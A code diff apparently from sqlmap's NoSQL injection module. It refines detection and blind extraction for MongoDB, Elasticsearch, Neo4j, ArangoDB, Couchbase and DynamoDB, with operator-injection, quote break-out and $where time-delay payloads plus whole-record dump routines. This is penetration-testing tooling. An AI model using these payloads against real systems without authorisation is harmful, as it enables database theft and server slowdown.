bareword token (JSON-like unquoted key) + start = i + while i < n and (body[i].isalnum() or body[i] in "_$"): + i += 1 + k = i + while k < n and body[k] in " \t\r\n": + k += 1 + if body[start:i] == key and k < n and body[k] == ":": + span = _jsonValueSpan(body, k + 1) + if span: + spans.append(span) + i = span[1] + prevSig = "v" + continue + prevSig = "w" + continue + prevSig = c + i += 1 + return spans + + +def _jsonRawReplace(body, parameter, jsonValue): + """Replace ONLY the target property's value span with `json.dumps(jsonValue)`, located by the + string/comment/regex-aware scanner (never a regex sub, never a form serializer). Handles a value + that is a string, number, bool/null, object, array, or regex-with-flags, and preserves the rest of + the body byte-for-byte. With only the leaf key name available (no parsed path), an AMBIGUOUS body - + the same key name appearing at more than one place/depth - is NOT guessed: the probe is SKIPPED + (returns None) rather than mutate the wrong field. Returns None when the property is absent or + ambiguous (caller skips the probe).""" + spans = _jsonLocateValues(body, _jsonKey(parameter)) + if len(spans) != 1: # 0 = not found, >1 = ambiguous -> skip, never guess + return None + start, end = spans[0] + return body[:start] + json.dumps(jsonValue) + body[end:] + def _delim(place): # parameter delimiter for the place: ';' for cookies (per --cookie-del), '&' otherwise return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' @@ -141,13 +338,19 @@ def _send(place, parameter, segment=None, jsonValue=_UNSET): try: kwargs = {"raise404": False, "silent": True} - if jsonValue is not _UNSET and _isJsonBody() and place in (PLACE.POST, PLACE.CUSTOM_POST): - try: - data = json.loads(conf.data) - except Exception: - data = {} - data[_jsonKey(parameter)] = jsonValue - payload = kwargs["post"] = json.dumps(data) + jsonBody = jsonValue is not _UNSET and _isJsonBody() and place in (PLACE.POST, PLACE.CUSTOM_POST) + if jsonBody: + # Mutate ONLY the target property's value span in place, located by a string/comment-aware + # scanner. This is used for BOTH strict and JSON-like bodies: it is structurally safe (never + # matches a 'key:' fragment inside a string/comment), handles a value at any depth and of any + # type (string/number/object/array), preserves the rest of the body byte-for-byte, and never + # falls back to a form serializer. When the exact property cannot be located, SKIP the probe + # rather than send a corrupted body (a fabricated diff would be a false positive). + payload = _jsonRawReplace(conf.data, parameter, jsonValue) + if payload is None: + logger.debug("NoSQL: JSON property '%s' not locatable in the body; skipping probe" % _jsonKey(parameter)) + return None + kwargs["post"] = payload elif place == PLACE.COOKIE: payload = kwargs["cookie"] = _replaceSegment(place, parameter, segment) else: @@ -156,15 +359,32 @@ def _send(place, parameter, segment=None, jsonValue=_UNSET): logger.log(CUSTOM_LOGGING.PAYLOAD, _urllib.parse.unquote(payload)) # readable, surfaced at -v 3 like a regular sqlmap payload page, _, _lastCode = Request.getPage(**kwargs) + except Exception as ex: # a transport failure must never enter the oracle as "" + logger.debug("NoSQL probe request failed: %s" % getUnicode(ex)) + _lastCode = None + return None finally: conf.skipUrlEncode = skipUrlEncode return page or "" def _isError(page): - # a server-error status or a recognizable back-end error body marks a response as NOT a valid - # always-true template (prevents two differing error pages from faking a boolean oracle) - return (_lastCode or 0) >= 500 or bool(re.search(NOSQL_ERROR_REGEX, page or "")) + # a server-error status, a recognizable NoSQL error body, OR a recognized SQL/DBMS error marks a + # response as NOT a valid always-true template (prevents two differing error pages from faking a + # boolean oracle). The SQL/DBMS check is essential: a payload that trips a DBMS syntax error (e.g. + # numeric `cat=*` on MySQL -> "You have an error in your SQL syntax") yields a STABLE page that + # merely DIFFERS from a no-match page, which would otherwise fake a boolean oracle and misreport a + # plainly SQL-injectable parameter as NoSQL. htmlParser() reuses sqlmap's errors.xml signatures. + global _sqlErrorSeen + # a server error (>=500) or a WAF/rate-limit block (403/429) is BLOCKED/ERROR, never a valid + # template - a mid-scan 429 or a 403 block page must not be read as a "false" (or as divergence) + if blockedStatus(_lastCode) or bool(re.search(NOSQL_ERROR_REGEX, page or "")): + return True + # a DBMS-identifiable error (errors.xml signatures) OR sqlmap's generic SQL-error marker + if sqlErrorPresent(page): + _sqlErrorSeen = True + return True + return False def _fetch(place, parameter, op, value, isArray=False): """MongoDB/CouchDB dialect: renders the parameter as an operator object (bracket or JSON shape)""" @@ -183,15 +403,38 @@ def _boolean(truthy, falsy): content divergence - i.e. the payload reached and influenced the back-end - else None""" truePage = truthy() - if not truePage or _isError(truePage): # an error response is never a valid always-true template + if not truePage or _isError(truePage): # an error/blocked response is never a valid template + return None + if _ratio(truePage, truthy()) <= UPPER_RATIO_BOUND: # the TRUE side must independently reproduce return None falsePage = falsy() - if _ratio(truePage, truthy()) > UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + if not falsePage or _isError(falsePage): # a false-side error must not pass as "divergence" + return None + if _ratio(falsePage, falsy()) <= UPPER_RATIO_BOUND: # the FALSE side must independently reproduce too + return None + + # with an explicit user oracle (--string/--not-string/--regexp), require the true page to classify + # TRUE and the false page FALSE - do not fall back to raw similarity that the user overrode + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: # ... and true must differ from false return truePage return None +def _reproduced(sendFn): + """Send a never-matching (always-FALSE) payload twice and return its page as the FALSE model, or + None when it is unusable or not reproducible. Used to calibrate the false model each content vector + carries so extraction classifies bits relative to BOTH models (else extraction is disabled).""" + p1 = sendFn() + if not p1 or _isError(p1): + return None + if _ratio(p1, sendFn()) <= UPPER_RATIO_BOUND: + return None + return p1 + def _detectMongo(place, parameter): # $ne (matches everything) vs $in [sentinel] (matches nothing); $gt '' (matches any string) is a # fallback always-true for apps that filter $ne but not the comparison operators @@ -199,8 +442,17 @@ def _detectMongo(place, parameter): or _boolean(lambda: _fetch(place, parameter, "$gt", ""), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) def _detectES(place, parameter): - # query_string '*' (matches everything) vs a literal sentinel (matches nothing) - return _boolean(lambda: _fetchValue(place, parameter, '*'), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) + # '*' (matches everything) vs a literal sentinel (matches nothing) is a cheap FIRST-PASS trigger, + # but on its own it is NOT proof of injection: many search APIs treat '*' as a wildcard by design. + template = _boolean(lambda: _fetchValue(place, parameter, '*'), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) + if not template: + return None + # STRUCTURAL proof the value is parsed as a Lucene query_string (not used as a literal search term): + # boolean operators the parser evaluates - `(NOT )` matches all, `( AND NOT )` + # matches nothing - whereas a plain wildcard-search box treats both as a literal string (no divergence). + if not _confirm(place, parameter, "(NOT %s)" % NOSQL_SENTINEL, "(%s AND NOT %s)" % (NOSQL_SENTINEL, NOSQL_SENTINEL)): + return None + return template def _detectCypher(place, parameter): # single-quote break-out: OR '1'='1' (true) vs OR '1'='2' (false) @@ -220,19 +472,33 @@ def _detectNumeric(place, parameter): template = _boolean(lambda: _fetchValue(place, parameter, "%s OR 1=1" % value), lambda: _fetchValue(place, parameter, "%s AND 1=2" % value)) if template: - # Cypher, N1QL and PartiQL share OR/AND; tell them apart by a constant-arg, field-free primitive - # each engine alone honors: N1QL REGEXP_CONTAINS, DynamoDB begins_with (Cypher has neither) + # CRITICAL: `OR 1=1`/`AND 1=2` is IDENTICAL to classic SQL injection, so a bare divergence here + # is AMBIGUOUS - a plain SQL-injectable numeric parameter diverges exactly the same way. It is a + # NoSQL finding ONLY when an engine-SPECIFIC primitive (one no SQL back-end implements) ALSO + # confirms: N1QL REGEXP_CONTAINS, DynamoDB begins_with, Cypher STARTS WITH. Without such positive + # proof we must NOT attribute a DBMS (the old `else: Neo4j` default turned every SQL-injectable + # numeric parameter into a false Neo4j positive) - return None and let SQL detection handle it. if _confirm(place, parameter, "%s OR REGEXP_CONTAINS('ab', 'a') OR 1=2" % value, "%s OR REGEXP_CONTAINS('ab', 'z') OR 1=2" % value): dbms = "Couchbase" elif _confirm(place, parameter, "%s OR begins_with('ab', 'a') OR 1=2" % value, "%s OR begins_with('ab', 'z') OR 1=2" % value): dbms = "DynamoDB" - else: + elif _confirmBattery(place, parameter, + lambda p: "%s OR %s OR 1=2" % (value, p), + lambda p: "%s OR %s OR 1=2" % (value, p), _CYPHER_PREDICATES): dbms = "Neo4j" + else: + return None return dbms, template, "%s OR 1=1" % value template = _boolean(lambda: _fetchValue(place, parameter, "%s || 1==1" % value), lambda: _fetchValue(place, parameter, "%s && 1==2" % value)) if template: - return "ArangoDB", template, "%s || 1==1" % value + # AQL `||`/`&&`/`==`; a PIPES_AS_CONCAT SQL engine can partly mimic `||`, so require a positive + # AQL-specific primitive from the battery (functions SQL lacks: two-arg LIKE, CONTAINS, LENGTH, REGEX_TEST) + if _confirmBattery(place, parameter, + lambda p: "%s || %s || 1==2" % (value, p), + lambda p: "%s || %s || 1==2" % (value, p), _AQL_PREDICATES): + return "ArangoDB", template, "%s || 1==1" % value + return None return None @@ -242,7 +508,7 @@ def _detectError(place, parameter): normal = _fetchValue(place, parameter, original) broken = _fetchValue(place, parameter, original + "'") - if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + if not normal or not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: # None broken -> no crash on .lower() return None for engine, tokens in ERROR_SIGNATURES: @@ -257,22 +523,26 @@ def _detectError(place, parameter): return None def _fingerprintMongo(place, parameter): - page = _fetch(place, parameter, "$regex", '(').lower() # invalid regexp -> driver/DB error + page = (_fetch(place, parameter, "$regex", '(') or "").lower() # invalid regexp -> driver/DB error (None-safe) if any(_ in page for _ in ("couch", "mango", "bad_arg", "erlang")): return "CouchDB" elif any(_ in page for _ in ("mongo", "bson", "regular expression", "$regex")): return "MongoDB" else: - return "MongoDB (assumed)" + # operator injection worked but no product-specific signature leaked - name the FAMILY, + # not a specific product we cannot prove + return "MongoDB/CouchDB-compatible operator back-end" def _fingerprintLucene(place, parameter): - page = _fetchValue(place, parameter, "/[/").lower() # invalid regexp -> engine error + page = (_fetchValue(place, parameter, "/[/") or "").lower() # invalid regexp -> engine error (None-safe) if any(_ in page for _ in ("solr", "solrexception")): return "Solr" elif "opensearch" in page: return "OpenSearch" else: - return "Elasticsearch" + # Lucene query_string parsing confirmed but no product signature - name the FAMILY (this is + # most commonly Elasticsearch, but Solr/OpenSearch/Lucene share the syntax) + return "Lucene query_string-compatible back-end" def _constraint(place, parameter, eq='=', conj=" AND ", prefix="u."): """Re-expresses sibling parameters as query constraints (field == parameter name) so extraction @@ -286,8 +556,17 @@ def _constraint(place, parameter, eq='=', conj=" AND ", prefix="u."): continue name, _, value = segment.partition('=') name = name.strip() - if name and name != parameter: - parts.append("%s%s%s'%s'" % (prefix, name, eq, value)) + if not name or name == parameter: + continue + # only bind a sibling whose name is a plain field identifier: a dotted/quoted/operator/spaced + # name could change the PREDICATE STRUCTURE (not just add a filter) once interpolated, so it is + # skipped rather than trusted (the reviewer's "verified relationship" bar) + if not re.match(r"(?i)\A[a-z_][\w]*\Z", name): + continue + # escape the literal so a quote/backslash in the value cannot break out of the single-quoted + # string and alter/invalidate the predicate (Cypher/AQL/$where-JS all single-quote + backslash) + literal = value.replace("\\", "\\\\").replace("'", "\\'") + parts.append("%s%s%s'%s'" % (prefix, name, eq, literal)) return (conj.join(parts) + conj) if parts else "" @@ -296,55 +575,171 @@ def _confirm(place, parameter, truePayload, falsePayload): # regexp-match primitive (e.g. Cypher '=~' vs N1QL 'REGEXP_CONTAINS') for a true/false divergence return _boolean(lambda: _fetchValue(place, parameter, truePayload), lambda: _fetchValue(place, parameter, falsePayload)) is not None +# Engine-specific primitive BATTERIES: each pair is (true_predicate, false_predicate) that differ +# ONLY in the engine-unique construct, so the divergence is attributable to that construct alone (a +# SQL back-end errors on every one of them -> no divergence). A rich battery (not a single primitive) +# makes attribution robust to an injection context that rejects any one function AND, by WHICH members +# fire, fingerprints the engine. Live-validated on the karlobag testbed (each flips on the real engine, +# none flips on the MySQL junkyard). Constant expressions only (no field reference needed). +_CYPHER_PREDICATES = ( # Neo4j Cypher + ("'ab' STARTS WITH 'a'", "'ab' STARTS WITH 'z'"), + ("'ab' ENDS WITH 'b'", "'ab' ENDS WITH 'z'"), + ("'ab' CONTAINS 'a'", "'ab' CONTAINS 'z'"), + ("size(['a','b'])=2", "size(['a','b'])=3"), + ("toInteger('7')=7", "toInteger('7')=8"), +) +_AQL_PREDICATES = ( # ArangoDB AQL + ("LIKE('ab', 'a%')", "LIKE('ab', 'z%')"), + ("CONTAINS('ab', 'a')", "CONTAINS('ab', 'z')"), + ("LENGTH('ab')==2", "LENGTH('ab')==3"), + ("REGEX_TEST('ab','^a')", "REGEX_TEST('ab','^z')"), +) + +def _confirmBattery(place, parameter, wrapTrue, wrapFalse, battery): + """Positive engine proof: return True as soon as ANY battery predicate flips true/false in the + verified break-out context. `wrapTrue`/`wrapFalse` are callables mapping a predicate to a payload.""" + for truePred, falsePred in battery: + if _confirm(place, parameter, wrapTrue(truePred), wrapFalse(falsePred)): + return True + return False + def _timed(call): start = time.time() call() return time.time() - start +# --- tri-state extraction oracle (shared contract with the XPath/LDAP/HQL/GraphQL engines) ---------- +# A failed / blocked / error response is UNKNOWN, never a silent False bit. These resolvers reject an +# unusable response, RE-SEND it up to a bound, and raise InconclusiveError on persistent ambiguity so +# the per-value extractor aborts (returns None) instead of fabricating a length/char/count. `_NOSQL_RETRIES` +# is small - a couple of fresh sends are enough to ride out transient jitter. +_NOSQL_RETRIES = 2 + + +def _contentBit(fetchFn, value, trueModel, falseModel=None, retries=_NOSQL_RETRIES): + """Tri-state CONTENT bit. An unusable response (None / blocked / DBMS-error) is retried, then aborts + (InconclusiveError). When a `falseModel` is available, a usable page is classified RELATIVE to BOTH + models via the shared `resolveBit`: it must lean clearly to the true model over the false model by a + margin, else it is INCONCLUSIVE (re-sent, then aborts) - so an unrelated usable page (session-expired, + soft-WAF, validation) becomes UNKNOWN, never a false bit that corrupts the value. Without a false + model (legacy callers) it falls back to a true-model similarity threshold.""" + + def send(): + page = fetchFn(value) + return None if (page is None or _isError(page)) else page + + if falseModel is not None: + return resolveBit(send(), trueModel, falseModel, send, retries=retries) + + for _attempt in range(retries + 1): + page = send() + if page is not None: + return _ratio(page, trueModel) > UPPER_RATIO_BOUND + raise InconclusiveError() + + +def _timedResponse(place, parameter, payload): + """Return (elapsed_seconds, usable) for a timing probe. `usable` is False for a transport failure or + a blocked/error response, so a WAF-induced delay can never be read as a true timing bit.""" + start = time.time() + page = _fetchValue(place, parameter, payload) + elapsed = time.time() - start + return elapsed, (page is not None and not _isError(page)) + + +def _timedBit(place, parameter, payload, threshold, retries=_NOSQL_RETRIES): + """Tri-state TIMING bit with an ambiguity band. A usable reading clearly above threshold+margin is + True; clearly below threshold-margin is False; a reading NEAR the threshold (or an unusable one) is + RE-SAMPLED, and if it never separates cleanly the bit aborts (InconclusiveError) rather than being + guessed. A blocked/error response is never counted as a (slow) true bit.""" + margin = max(0.5, conf.timeSec * 0.25) + for _attempt in range(retries + 2): + elapsed, usable = _timedResponse(place, parameter, payload) + if not usable: + continue + if elapsed > threshold + margin: + return True + if elapsed < threshold - margin: + return False + # near the threshold: do not decide on one ambiguous sample - loop and re-sample + raise InconclusiveError() + def _whereDelay(condition): # MongoDB $where (server-side JS) string break-out: busy-loops for ~conf.timeSec seconds whenever # the per-document JS `condition` holds, yielding a timing oracle when no content differential # exists. The document is passed in as `d` (inside the function `this` is not the document). - return "%s' || (function(d){if(%s){var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000)) + # + # DoS BOUND: `$where` runs the function for EVERY document in the collection, so an unconditional or + # loose `condition` on a large collection would busy-loop docCount*timeSec seconds and hang the + # server on a single request. A counter kept in the shared per-query JS scope (`__c`, an implicit + # global assigned across document invocations) caps the busy-loop to ONE document per request: the + # timing oracle is unchanged (a slow response still means at least one document matched), but the + # added latency is ~timeSec regardless of collection size. On a MongoDB build that isolates the + # scope per invocation the cap simply never trips and behaviour degrades to the old per-doc loop. + return "%s' || (function(d){if(typeof __c=='undefined'){__c=0;}if(__c<1&&(%s)){__c=1;var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000)) def _detectWhere(place, parameter): - # an unconditional-delay payload must run ~conf.timeSec slower than the baseline - and do so - # TWICE, to reject a one-off jitter spike - while a non-delaying one stays fast (the latter - # guards against a uniformly slow endpoint) - delayed = lambda: _timed(lambda: _fetchValue(place, parameter, _whereDelay("true"))) - threshold = _timed(lambda: _fetchValue(place, parameter, _originalValue(place, parameter) or "1")) + conf.timeSec * 0.5 - if threshold < conf.timeSec and delayed() > threshold and delayed() > threshold: - if _timed(lambda: _fetchValue(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL)) <= threshold: - return threshold + # An unconditional-delay payload must run ~conf.timeSec slower than the baseline - and do so TWICE, + # from USABLE responses, to reject a one-off jitter spike - while a non-delaying control stays fast. + # Every measurement is (elapsed, usable): a delayed BLOCKED/failed response (WAF/5xx) is NOT a valid + # slow sample, so a soft-blocking WAF can no longer establish a time-based $where finding. + baseDt, baseUsable = _timedResponse(place, parameter, _originalValue(place, parameter) or "1") + if not baseUsable: + return None + threshold = baseDt + conf.timeSec * 0.5 + + def slow(): + dt, usable = _timedResponse(place, parameter, _whereDelay("true")) + return usable and dt > threshold + + def fastControl(): + dt, usable = _timedResponse(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL) + return usable and dt <= threshold + + if slow() and slow() and fastControl(): + return threshold return None def _jsString(value): return "'%s'" % value.replace("\\", "\\\\").replace("'", "\\'") -def _whereField(place, parameter, bound, expr, threshold): +def _whereField(place, parameter, bound, expr, threshold, strict=False): """Time-based recovery of an arbitrary per-document JavaScript string expression `expr` (e.g. a key - name 'Object.keys(d)[i]', or a value 'String(d[name])') via the $where busy-loop oracle""" + name 'Object.keys(d)[i]', or a value 'String(d[name])') via the $where busy-loop oracle. `strict` + propagates InconclusiveError (for structural key-name probes) instead of returning None.""" - truth = lambda payload: _timed(lambda: _fetchValue(place, parameter, payload)) > threshold + # tri-state timing bit: a blocked/error response is never read as a (slow) true bit, and a + # persistently unusable probe raises InconclusiveError so the value aborts instead of fabricating + truth = lambda payload: _timedBit(place, parameter, payload, threshold) return _extract(None, None, lambda n: _whereDelay("%s(%s)&&(%s).length>=%d" % (bound, expr, expr, n)), lambda known, klass: _whereDelay("%s/^%s%s/.test(%s)" % (bound, _javaEscape(known), klass, expr)), - truth) + truth, strict=strict) def _whereDump(place, parameter, bound, threshold): """Whole-document dump via server-side-JavaScript key enumeration: walk Object.keys(this) to recover - each field name, then String(this[name]) for its value. Returns (columns, rows) or None""" + each field name, then String(this[name]) for its value. Returns (columns, rows, bound).""" - columns, values = [], [] + columns, values, partial = [], [], False for index in xrange(NOSQL_MAX_FIELDS): - name = _whereField(place, parameter, bound, "Object.keys(d)[%d]" % index, threshold) - if not name: + try: + name = _whereField(place, parameter, bound, "Object.keys(d)[%d]" % index, threshold, strict=True) + except InconclusiveError: + partial = True # inconclusive NEXT field name != end of fields + logger.warning("$where field enumeration became inconclusive at index %d; dump is PARTIAL" % index) + break + if not name: # genuine end (no more keys) break columns.append(name) - values.append(_whereField(place, parameter, bound, "String(d[%s])" % _jsString(name), threshold) or "") + cell = _whereField(place, parameter, bound, "String(d[%s])" % _jsString(name), threshold) + values.append(INCONCLUSIVE_MARK if cell is None else cell) # None => aborted; keep distinguishable from "" logger.info("retrieved: %s='%s'" % (name, values[-1])) - return (columns, [values]) if columns else None + if partial: + logger.warning("$where document dump is INCOMPLETE (field enumeration aborted)") + # NOT bound: a $where key-walk is not pinned to a native _id, so with a loose/absent constraint the + # keys and values can come from different matching documents. `complete` = not partial. + return (columns, [values], False, not partial) if columns else None def _classChar(ordinal): char = chr(ordinal) @@ -357,13 +752,16 @@ def _klass(low, high): def _propLiteral(name): return "'%s'" % name.replace("\\", "\\\\").replace("'", "\\'") -def _enumField(place, parameter, template, payloadFor): +def _enumField(place, parameter, template, payloadFor, strict=False, falseModel=None): """Content-based recovery of the string matched by a regexp clause built via payloadFor(regexBody), - reusing the bisection extractor against the always-true single-record `template`""" + reusing the bisection extractor against the always-true single-record `template`. `strict` + propagates InconclusiveError (for structural field-name probes); `falseModel` (a never-matching + response) enables relative true/false classification so an unrelated page is UNKNOWN, not false.""" return _extract(template, lambda value: _fetchValue(place, parameter, value), lambda n: payloadFor(".{%d,}" % n), - lambda known, klass: payloadFor(_quoted(_javaEscape(known) + klass))) + lambda known, klass: payloadFor(_quoted(_javaEscape(known) + klass)), + strict=strict, falseModel=falseModel) def _enumDump(place, parameter, makePayload, keysExpr, valueExpr): """Whole-document dump via key enumeration for the regexp dialects: keysExpr(i) -> the i-th field @@ -371,20 +769,37 @@ def _enumDump(place, parameter, makePayload, keysExpr, valueExpr): break-out and record binding around a ' matches ^' oracle. Returns (columns, rows) or None - the caller can then fall back to single-field extraction""" - template = _fetchValue(place, parameter, makePayload(keysExpr(0), ".*")) # the bound single record - if not template or _isError(template): + # A whole-document dump is content-based, so it REQUIRES both models: a reproduced true (any-match) + # page, a reproduced false (never-match) page, and CLEAR SEPARATION between them. Without all three, + # classification would be one-sided (an unrelated usable page -> a fabricated false bit), so the dump + # is DISABLED (return None) - it must never run _enumField with falseModel=None in a live dump. + template = _reproduced(lambda: _fetchValue(place, parameter, makePayload(keysExpr(0), ".*"))) + falseModel = _reproduced(lambda: _fetchValue(place, parameter, makePayload(keysExpr(0), NOSQL_SENTINEL))) + if not template or not falseModel or _ratio(template, falseModel) > UPPER_RATIO_BOUND: + logger.debug("NoSQL dump disabled: could not calibrate separable true/false models") return None - columns, values = [], [] + columns, values, partial = [], [], False for index in xrange(NOSQL_MAX_FIELDS): - name = _enumField(place, parameter, template, lambda rb, i=index: makePayload(keysExpr(i), rb)) - if not name: + try: + name = _enumField(place, parameter, template, lambda rb, i=index: makePayload(keysExpr(i), rb), strict=True, falseModel=falseModel) + except InconclusiveError: + partial = True # inconclusive NEXT field name != end of fields + logger.warning("field enumeration became inconclusive at index %d; dump is PARTIAL" % index) + break + if not name: # genuine end (no more keys) break columns.append(name) - values.append(_enumField(place, parameter, template, lambda rb, n=name: makePayload(valueExpr(n), rb)) or "") + cell = _enumField(place, parameter, template, lambda rb, n=name: makePayload(valueExpr(n), rb), falseModel=falseModel) + values.append(INCONCLUSIVE_MARK if cell is None else cell) # None => aborted; keep distinguishable from "" logger.info("retrieved: %s='%s'" % (name, values[-1])) - return (columns, [values]) if columns else None + if partial: + logger.warning("document dump is INCOMPLETE (field enumeration aborted before end)") + # NOT bound by default: the caller's makePayload uses only a sibling `constraint` (which may match + # many records). A caller that pins a NATIVE id per record (e.g. _cypherDump's id(u)=k) marks its + # own result bound. `complete` = not partial. + return (columns, [values], False, not partial) if columns else None def _cypherDump(place, parameter): """Blind multi-record collection dump (Neo4j Cypher). Walks every matched node in ascending order @@ -392,22 +807,33 @@ def _cypherDump(place, parameter): does not guarantee), key-enumerating each node's full document. Returns (columns, rows) or None""" fetch = lambda payload: _fetchValue(place, parameter, payload) - noMatch = fetch("%s' OR '1'='2" % NOSQL_SENTINEL) # stable zero-record baseline (app closes the quote) - differs = lambda payload: _ratio(fetch(payload), noMatch) < UPPER_RATIO_BOUND - if not noMatch or not differs("%s' OR '1'='1" % NOSQL_SENTINEL): - return None - - # a numeric condition opens no string, so balance the app's trailing quote with a tautology - exists = lambda cond: differs("%s' OR %s AND '1'='1" % (NOSQL_SENTINEL, cond)) + # DUAL model: a record-ABSENT page (zero rows) AND a record-PRESENT page (all rows). Existence is + # classified RELATIVE to both (shared resolveBit via _contentBit) - an unrelated usable page (e.g. a + # session-expired / soft-WAF page) leans to NEITHER and is INCONCLUSIVE, never fabricated as "exists". + absentModel = _reproduced(lambda: fetch("%s' OR '1'='2" % NOSQL_SENTINEL)) + presentModel = _reproduced(lambda: fetch("%s' OR '1'='1" % NOSQL_SENTINEL)) + if not absentModel or not presentModel or _ratio(presentModel, absentModel) > UPPER_RATIO_BOUND: + return None # not separable / not usable -> cannot dump safely + + # a numeric condition opens no string, so balance the app's trailing quote with a tautology; `exists` + # is True only when the page leans to the present model over the absent model (retry/abort otherwise) + exists = lambda cond: _contentBit(lambda v: fetch("%s' OR %s AND '1'='1" % (NOSQL_SENTINEL, cond)), None, presentModel, absentModel) def minIdGreater(lower): - # smallest internal node id strictly greater than `lower` (None when no further node exists) + # smallest internal node id strictly greater than `lower` (None when no further node exists). + # Grow an INDEPENDENT positive span from `lower` (never multiply the bound itself: with + # lower=-1 the upper bound starts at 0 and `hi *= 2` stays 0 forever when node id 0 is absent - + # deleting the earliest nodes is enough to hang the scan). Bounded by both a numeric ceiling + # AND a probe cap. if not exists("id(u) > %d" % lower): return None - hi = lower + 1 + span, probes = 1, 0 + hi = lower + span while not exists("id(u) > %d AND id(u) <= %d" % (lower, hi)): - hi *= 2 - if hi > (1 << 40): + span *= 2 + hi = lower + span + probes += 1 + if hi > (1 << 40) or probes > 64: return None lo = lower while lo + 1 < hi: @@ -418,23 +844,33 @@ def minIdGreater(lower): lo = mid return hi - columns, records, lastId = [], [], -1 - for _ in xrange(NOSQL_MAX_RECORDS): - nodeId = minIdGreater(lastId) - if nodeId is None: - break - record = _enumDump(place, parameter, - lambda expr, rb, k=nodeId: "%s' OR id(u)=%d AND %s =~ '^%s.*" % (NOSQL_SENTINEL, k, expr, rb), - lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) - if record: - cols, values = record - records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) - columns.extend(_ for _ in cols if _ not in columns) - lastId = nodeId - else: - logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS) + columns, records, lastId, complete = [], [], -1, True + try: + for _ in xrange(NOSQL_MAX_RECORDS): + nodeId = minIdGreater(lastId) + if nodeId is None: + break + record = _enumDump(place, parameter, + lambda expr, rb, k=nodeId: "%s' OR id(u)=%d AND %s =~ '^%s.*" % (NOSQL_SENTINEL, k, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) + if record: + cols, values, _b, recComplete = record # each field bound to the SAME node by id(u)=k + records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) + columns.extend(_ for _ in cols if _ not in columns) + if not recComplete: # a node's own fields were partially recovered + complete = False + lastId = nodeId + else: + logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS) + complete = False + except InconclusiveError: + # the node-id walk hit a persistently unusable oracle: stop and return what was recovered so + # far (partial) rather than fabricate node existence from failed requests + complete = False + logger.warning("Cypher record walk aborted (oracle inconclusive); returning %d record(s) recovered so far" % len(records)) - return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None + # BOUND: every field of every record was pinned to a unique native node id (id(u)=k) + return (columns, [[row.get(_, "") for _ in columns] for row in records], True, complete) if records else None def _partiqlValue(place, parameter, bind, field): """Blind extraction of `field` for the bound record on a DynamoDB PartiQL point. PartiQL has no @@ -443,24 +879,32 @@ def _partiqlValue(place, parameter, bind, field): quote = lambda value: value.replace("'", "''") # PartiQL escapes a single quote by doubling it fetch = lambda payload: _fetchValue(place, parameter, payload) - template = fetch("%s' OR %s%s >= '" % (NOSQL_SENTINEL, bind, field)) # field >= '' -> bound record matches - if not template or _isError(template): + template = _reproduced(lambda: fetch("%s' OR %s%s >= '" % (NOSQL_SENTINEL, bind, field))) # field >= '' -> match (TRUE model) + # FALSE model: `... OR '1'='2` never matches (the bound record is absent), so each comparison bit is + # classified relative to BOTH models; without it a session-expired/soft-WAF page would become a false + # bit. Cannot calibrate both -> disable extraction rather than one-side. + falseModel = _reproduced(lambda: fetch("%s' OR '1'='2" % NOSQL_SENTINEL)) + if not template or not falseModel or _ratio(template, falseModel) > UPPER_RATIO_BOUND: return None - truth = lambda value: _ratio(fetch("%s' OR %s%s >= '%s" % (NOSQL_SENTINEL, bind, field, quote(value))), template) > UPPER_RATIO_BOUND + truth = lambda value: _contentBit(lambda v: fetch("%s' OR %s%s >= '%s" % (NOSQL_SENTINEL, bind, field, quote(v))), value, template, falseModel) - retVal = "" - while len(retVal) < NOSQL_MAX_LENGTH: - if not truth(retVal + chr(NOSQL_CHAR_MIN)): # no character at this position -> end of value - break - lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX - while lo < hi: - mid = (lo + hi + 1) // 2 - if truth(retVal + chr(mid)): - lo = mid - else: - hi = mid - 1 - retVal += chr(lo) + try: + retVal = "" + while len(retVal) < NOSQL_MAX_LENGTH: + if not truth(retVal + chr(NOSQL_CHAR_MIN)): # no character at this position -> end of value + break + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth(retVal + chr(mid)): + lo = mid + else: + hi = mid - 1 + retVal += chr(lo) + except InconclusiveError: + logger.warning("PartiQL extraction aborted for a value (oracle inconclusive after retries)") + return None return retVal or None @@ -472,48 +916,65 @@ def _partiqlDump(place, parameter, key): if not bind: # need a sibling to pin a single record return None value = _partiqlValue(place, parameter, bind, key) - return ([key], [[value]]) if value is not None else None + # a single sibling is not proven to be the COMPLETE partition+sort key, so cardinality-one is not + # established -> representative (the recovered value could belong to any record matching `bind`) + return ([key], [[value]], False, True) if value is not None else None -def _extract(template, fetchFn, lengthValue, charValue, truthFn=None): +def _extract(template, fetchFn, lengthValue, charValue, truthFn=None, strict=False, falseModel=None): """Blind value recovery: binary-searches the length, then bisects each character's codepoint over the printable-ASCII range using regexp character-class ranges (sqlmap-style inference, ~log2(range) requests per character instead of a linear scan - far smaller WAF/log footprint). 